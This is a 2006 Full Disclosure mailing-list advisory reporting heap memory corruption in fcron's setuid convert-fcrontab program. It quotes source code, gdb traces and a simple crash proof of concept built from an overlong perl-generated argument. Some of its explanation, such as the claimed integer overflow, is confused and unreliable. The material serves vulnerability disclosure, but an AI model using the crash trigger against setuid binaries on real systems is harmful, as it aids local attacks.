Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Fcrontab - memory corruption on heap.
From: "Adam Zabrocki" <pi3ki31ny () wp pl>
Date: Wed, 01 Feb 2006 15:28:50 +0100

Name:                      Fcron - convert-fcrontab
Vendor URL:                http://fcron.free.fr
Author:                    Adam Zabrocki <pi3ki31ny () wp pl>
Date:                      November 25, 2005




    Issue:

        Fcron (convert-fcrontab) allow users to corruption on heap section.



    Description:

        Fcron is a periodical command scheduler which aims at replacing Vixie Cron,
and implements most of its functionalities.

More information about Fcron is available from http://fcron.free.fr/description.php



    Details:

        Possible to do heap corruption in suid frcon's program - convert-fcrontab.
When we call program with long argument, he do corruption by syslog() function
when function open_memstream() try to alloc memory via malloc() function to argument
for syslog() function. There is small bugs on heap by using integer overflow:

"convert-fcrontab.c"
int
main(int argc, char *argv[])
{
    ...
    ...


    ...
    ...

    user_to_update = strdup2(argv[optind]);

    if (chdir(cdir) != 0)
        die_e("Could not change dir to " FCRONTABS);

    convert_file(user_to_update);

    exit(EXIT_OK);

}


Funtion strdup2() was written by fcron's autors:

"subs.c"
char *
strdup2(const char *str)
{
    char *ptr;

    if ( str == NULL )
        return NULL;

    ptr = malloc(strlen(str) + 1);

    if ( ! ptr)
        die_e("Could not calloc");

    strcpy(ptr, str);
    return(ptr);
}

When strlen(str)+1 do in fact small number malloc don't allocate
enought memory and by function strcpy() we can overwrite some data.

In bug what do memory corruption by syslog() function this call accelerate
stack (so heap too).

We can do this bug by many calls. The most simple way to use it is write
bad argument to program:

"convert-fcrontab.c"
void
convert_file(char *file_name)
/* this functions is a mix of read_file() from version 1.0.3 and save_file(),
 * so you can read more comments there */
{
    ...
    ...

    Alloc(file, cf_t);
    /* open file */
    if ( (f = fopen(file_name, "r")) == NULL )
        die_e("Could not read %s", file_name);

    ...
    ...
}

Alloc() accelerate stack/heap too. This function we can saw here:

"global.h"
#define Alloc(PTR, TYPE) \
        if( (PTR = calloc(1, sizeof(TYPE))) == NULL ) \
            die_e("Could not calloc.");


Function die_e():

"log.c"
void
die_e(char *fmt, ...)
{
   va_list args;
   int err_no = 0;

   err_no = errno;

   va_start(args, fmt);
   log_e(COMPLAIN_LEVEL, fmt, args);
   va_end(args);
   if (getpid() == daemon_pid) error("Aborted");

   exit(err_no);

}

Argument what we deliver to program are still use and now is argument
for log_e() function:

"log.c"
static void
log_e(int priority, char *fmt, va_list args)
{
    int saved_errno;
    char *msg;

    saved_errno=errno;

    if ( (msg = make_msg(strerror(saved_errno), fmt, args)) == NULL )
        return ;

    log_syslog_str(priority, msg);
    log_console_str(msg);

    free(msg);
}

Function make_msg() allocate again memory for own argument:

"log.c"
char *
make_msg(const char *append, char *fmt, va_list args)
{
    int len;
    char *msg = NULL;

    if ( (msg = calloc(1, MAX_MSG + 1)) == NULL )
        return NULL;
    ...
    len = vsnprintf(msg, MAX_MSG + 1, fmt, args);
    ...
    ...
}

And function log_syslog_str():

"log.c"
void
log_syslog_str(int priority, char *msg)
{
    if (dosyslog) {
        xopenlog();
        syslog(priority, "%s", msg);
    }

}

Function xopenlog() call only openlog() function:

"log.c"
static void
xopenlog(void)
{
    if (!log_open) {
        openlog(prog_name, LOG_PID, SYSLOG_FACILITY);
        log_open=1;
    }
}

... and in the end function log_syslog_str() call syslog()
function. Function syslog() in fact call function vsyslog()
and in many calls there is another call do malloc() function
to allocate memory for own argument. Let's see what we get
from gdb:

root () pi3:/News/fcron-3.0.0# gdb -q ./convert-fcrontab
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r `perl -e 'print "A"x600'`
Starting program: /News/fcron-3.0.0/convert-fcrontab `perl -e 'print "A"x600'`
13:12:54 Converting 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
(truncated)
*** glibc detected *** malloc(): memory corruption: 0x0804eec0 ***

Program received signal SIGABRT, Aborted.
0x40084ef1 in kill () from /lib/libc.so.6
(gdb) bt
#0  0x40084ef1 in kill () from /lib/libc.so.6
#1  0x40084b15 in raise () from /lib/libc.so.6
#2  0x400863fd in abort () from /lib/libc.so.6
#3  0x400b776c in __libc_message () from /lib/libc.so.6
#4  0x400c0066 in malloc_printerr () from /lib/libc.so.6
#5  0x400bebea in _int_malloc () from /lib/libc.so.6
#6  0x400bd7a3 in malloc () from /lib/libc.so.6
#7  0x400b6110 in open_memstream () from /lib/libc.so.6
#8  0x40111d40 in vsyslog () from /lib/libc.so.6
#9  0x40111caf in syslog () from /lib/libc.so.6
#10 0x0804a5d8 in log_syslog_str (priority=3, msg=0x804ee08 "Could not read ", 'A' <repeats 146 times>, " (truncated)")
    at log.c:102
#11 0x0804a739 in log_e (priority=3, fmt=0x804abcf "Could not read %s", args=0xbffff014 "ĐČ\004\bpz\006 () 0l\001@áŘ")
    at log.c:165
#12 0x0804a90c in die_e (fmt=0x804abcf "Could not read %s") at log.c:339
#13 0x0804923a in convert_file (file_name=0x804c8d0 'A' <repeats 200 times>...) at convert-fcrontab.c:153
#14 0x0804936d in main (argc=134523688, argv=0xbffff677) at convert-fcrontab.c:276
(gdb)

What we can saw glibc detected memory coruption and send signal SIGABRT
to exit program.

(gdb) disass syslog
Dump of assembler code for function syslog:
...
0x40111caa <syslog+26>: call   0x40111cc0 <vsyslog>
...
(gdb) b vsyslog
Breakpoint 1 at 0x40111cc6
(gdb) r `perl -e 'print "A"x600'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /News/fcron-3.0.0/convert-fcrontab `perl -e 'print "A"x600'`

Breakpoint 1, 0x40111cc6 in vsyslog () from /lib/libc.so.6
(gdb) x/s $ebx
0x804cb30:       "Converting ", 'A' <repeats 150 times>, " (truncated)"
(gdb)

So own argument is in %ebx register

(gdb) disass vsyslog
Dump of assembler code for function vsyslog:
...
0x40111cc9 <vsyslog+9>: push   %ebx
...
0x40111cd3 <vsyslog+19>:        call   0x400712cd <__i686.get_pc_thunk.bx>
0x40111cd8 <vsyslog+24>:        add    $0x6331c,%ebx
...
0x40111d3b <vsyslog+123>:       call   0x400b60f0 <open_memstream>
...
(gdb) x/2i 0x400712cd
0x400712cd <__i686.get_pc_thunk.bx>:    mov    (%esp),%ebx
0x400712d0 <__i686.get_pc_thunk.bx+3>:  ret
(gdb) c
Continuing.
13:46:09 Converting 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
(truncated)

Breakpoint 1, 0x40111cc6 in vsyslog () from /lib/libc.so.6
(gdb) b *0x400712cd
Breakpoint 2 at 0x400712cd
(gdb) c
Continuing.

Breakpoint 2, 0x400712cd in __i686.get_pc_thunk.bx () from /lib/libc.so.6
(gdb) bt
#0  0x400712cd in __i686.get_pc_thunk.bx () from /lib/libc.so.6
#1  0x40111cd8 in vsyslog () from /lib/libc.so.6
#2  0x40111caf in syslog () from /lib/libc.so.6
#3  0x0804a5d8 in log_syslog_str (priority=3, msg=0x804ee08 "Could not read ", 'A' <repeats 146 times>, " (truncated)")
    at log.c:102
#4  0x0804a739 in log_e (priority=3, fmt=0x804abcf "Could not read %s", args=0xbffff014 "ĐČ\004\bpz\006 () 0l\001@áŘ")
    at log.c:165
#5  0x0804a90c in die_e (fmt=0x804abcf "Could not read %s") at log.c:339
#6  0x0804923a in convert_file (file_name=0x804c8d0 'A' <repeats 200 times>...) at convert-fcrontab.c:153
#7  0x0804936d in main (argc=134523688, argv=0xbffff677) at convert-fcrontab.c:276
(gdb) b *0x400712d0
Breakpoint 3 at 0x400712d0
(gdb) i r esp
esp            0xbfffeda0       0xbfffeda0
(gdb) i r ebx
ebx            0x804ee08        134540808
(gdb) x/s $ebx
0x804ee08:       "Could not read ", 'A' <repeats 146 times>, " (truncated)"
(gdb) c
Continuing.

Breakpoint 3, 0x400712d0 in __i686.get_pc_thunk.bx () from /lib/libc.so.6
(gdb) i r esp
esp            0xbfffeda0       0xbfffeda0
(gdb) i r ebx
ebx            0x40111cd8       1074863320
(gdb) x/x $esp
0xbfffeda0:     0x40111cd8
(gdb) b *0x40111d3b            // this is address for call open_memstream() function
Breakpoint 4 at 0x40111d3b
(gdb) del 2 3
(gdb) c
Continuing.

Breakpoint 4, 0x40111d3b in vsyslog () from /lib/libc.so.6
(gdb) i r ebx
ebx            0x40174ff4       1075269620
(gdb) p/x 0x40174ff4-0x40111cd8
$5 = 0x6331c        // 0x40111cd8 <vsyslog+24>:        add    $0x6331c,%ebx
(gdb) x/20i 0x400b60f0
...
0x400b60f5 <open_memstream+5>:  push   %ebx
...
0x400b60f6 <open_memstream+6>:  sub    $0x10,%esp
0x400b60f9 <open_memstream+9>:  call   0x400712cd <__i686.get_pc_thunk.bx>
0x400b60fe <open_memstream+14>: add    $0xbeef6,%ebx
0x400b610b <open_memstream+27>: call   0x400710c4 <_ufc_foobar+221220>
...
(gdb) // instruction from 0x400712cd address we saw there is mov (%esp),%ebx
(gdb) b *0x400b610b
Breakpoint 5 at 0x400b610b
(gdb) c
Continuing.

Breakpoint 5, 0x400b610b in open_memstream () from /lib/libc.so.6
(gdb) i r ebx
ebx            0x40174ff4       1075269620
(gdb) x/20i 0x400710c4  // call   0x400710c4 <_ufc_foobar+221220>
0x400710c4 <_ufc_foobar+221220>:        jmp    *0x28(%ebx)
0x400710ca <_ufc_foobar+221226>:        push   $0x38
0x400710cf <_ufc_foobar+221231>:        jmp    0x40071044 <_ufc_foobar+221092>
0x400710d4 <_ufc_foobar+221236>:        jmp    *0x2c(%ebx)
...
(gdb) x/20i 0x40071044
0x40071044 <_ufc_foobar+221092>:        pushl  0x4(%ebx)
0x4007104a <_ufc_foobar+221098>:        jmp    *0x8(%ebx)
0x40071050 <_ufc_foobar+221104>:        add    %al,(%eax)
0x40071052 <_ufc_foobar+221106>:        add    %al,(%eax)
0x40071054 <_ufc_foobar+221108>:        jmp    *0xc(%ebx)
...
(gdb) b *0x400710cf
Breakpoint 6 at 0x400710cf
(gdb) c
Continuing.
*** glibc detected *** malloc(): memory corruption: 0x0804eec0 ***

Program received signal SIGABRT, Aborted.
0x40084ef1 in kill () from /lib/libc.so.6
(gdb) bt
#0  0x40084ef1 in kill () from /lib/libc.so.6
#1  0x40084b15 in raise () from /lib/libc.so.6
#2  0x400863fd in abort () from /lib/libc.so.6
#3  0x400b776c in __libc_message () from /lib/libc.so.6
#4  0x400c0066 in malloc_printerr () from /lib/libc.so.6
#5  0x400bebea in _int_malloc () from /lib/libc.so.6
#6  0x400bd7a3 in malloc () from /lib/libc.so.6
#7  0x400b6110 in open_memstream () from /lib/libc.so.6
#8  0x40111d40 in vsyslog () from /lib/libc.so.6
#9  0x40111caf in syslog () from /lib/libc.so.6
#10 0x0804a5d8 in log_syslog_str (priority=3, msg=0x804ee08 "Could not read ", 'A' <repeats 146 times>, " (truncated)")
    at log.c:102
#11 0x0804a739 in log_e (priority=3, fmt=0x804abcf "Could not read %s", args=0xbffff014 "ĐČ\004\bpz\006 () 0l\001@áŘ")
    at log.c:165
#12 0x0804a90c in die_e (fmt=0x804abcf "Could not read %s") at log.c:339
#13 0x0804923a in convert_file (file_name=0x804c8d0 'A' <repeats 200 times>...) at convert-fcrontab.c:153
#14 0x0804936d in main (argc=134523688, argv=0xbffff677) at convert-fcrontab.c:276
(gdb) x/i 0x400c0066
0x400c0066 <malloc_printerr+166>:       jmp    0x400bffea <malloc_printerr+42>
(gdb) disass malloc_printer
Dump of assembler code for function malloc_printerr:
...
0x400bffcc <malloc_printerr+12>:        mov    %ebx,0xfffffff4(%ebp)
0x400bffcf <malloc_printerr+15>:        call   0x400712cd <__i686.get_pc_thunk.bx>
0x400bffd4 <malloc_printerr+20>:        add    $0xb5020,%ebx
...
0x400bffea <malloc_printerr+42>:        mov    0xfffffff4(%ebp),%ebx
...
(gdb) x/2i 0x400c0061
0x400c0061 <malloc_printerr+161>:       call   0x400b75a0 <__libc_message>
0x400c0066 <malloc_printerr+166>:       jmp    0x400bffea <malloc_printerr+42>
(gdb)

As we can saw 6 break point don't return. Function open_memstream() call malloc() and this function
do corruption. The adress where is consolidation is 0x0804eec0. But as we can saw the stack pointer
is moved to %ebx many times. If we controle the stack size we can saw that adress where is corruption
is moved:

root () pi3:/News/fcron-3.0.0# /News/fcron-3.0.0/convert-fcrontab `perl -e 'print "A"x600'`
15:11:06 Converting 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
(truncated)
*** glibc detected *** malloc(): memory corruption: 0x0804eec0 ***
Przerwane
root () pi3:/News/fcron-3.0.0# /News/fcron-3.0.0/convert-fcrontab `perl -e 'print "AA"x600'`
15:11:09 Converting 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
(truncated)
*** glibc detected *** malloc(): memory corruption: 0x0804f118 ***
Przerwane
root () pi3:/News/fcron-3.0.0# /News/fcron-3.0.0/convert-fcrontab `perl -e 'print "AAA"x600'`
15:11:11 Converting 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
(truncated)
*** glibc detected *** malloc(): memory corruption: 0x0804f370 ***
Przerwane
root () pi3:/News/fcron-3.0.0# /News/fcron-3.0.0/convert-fcrontab `perl -e 'print "AAAA"x600'`
15:11:19 Converting 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
(truncated)
*** glibc detected *** malloc(): memory corruption: 0x0804f5c8 ***
Przerwane
root () pi3:/News/fcron-3.0.0#

Crash is in kill() function:

(gdb)
0x40084ee0 <kill+0>:    mov    %ebx,%edx
0x40084ee2 <kill+2>:    mov    0x8(%esp),%ecx
0x40084ee6 <kill+6>:    mov    0x4(%esp),%ebx
0x40084eea <kill+10>:   mov    $0x25,%eax
0x40084eef <kill+15>:   int    $0x80
0x40084ef1 <kill+17>:   mov    %edx,%ebx
...
(gdb) i r edx
edx            0x40174ff4       1075269620
(gdb)

That's all



    Exploit:


        Simple Proof of Concept:

root () pi3:/News/fcron-3.0.0# /News/fcron-3.0.0/convert-fcrontab `perl -e 'print "pi3"x600'`
15:28:13 Converting 
pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3
 
(truncated)
*** glibc detected *** malloc(): memory corruption: 0x0804f370 ***
Przerwane (core dumped)
root () pi3:/News/fcron-3.0.0#


Btw. convert-frontab have suid bit and user/group root by default in trustix Linux.

--
pi3 (pi3ki31ny) - pi3ki31ny () wp pl
http://www.pi3.int.pl





----------------------------------------------------
Poczuj siłę prawdziwych eksplozji! Przetestuj swoje kino domowe!
Niewidzialny na DVD! 
http://klik.wp.pl/?adr=http%3A%2F%2Fadv.reklama.wp.pl%2Fas%2Fniewidzialny.html&sid=647


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]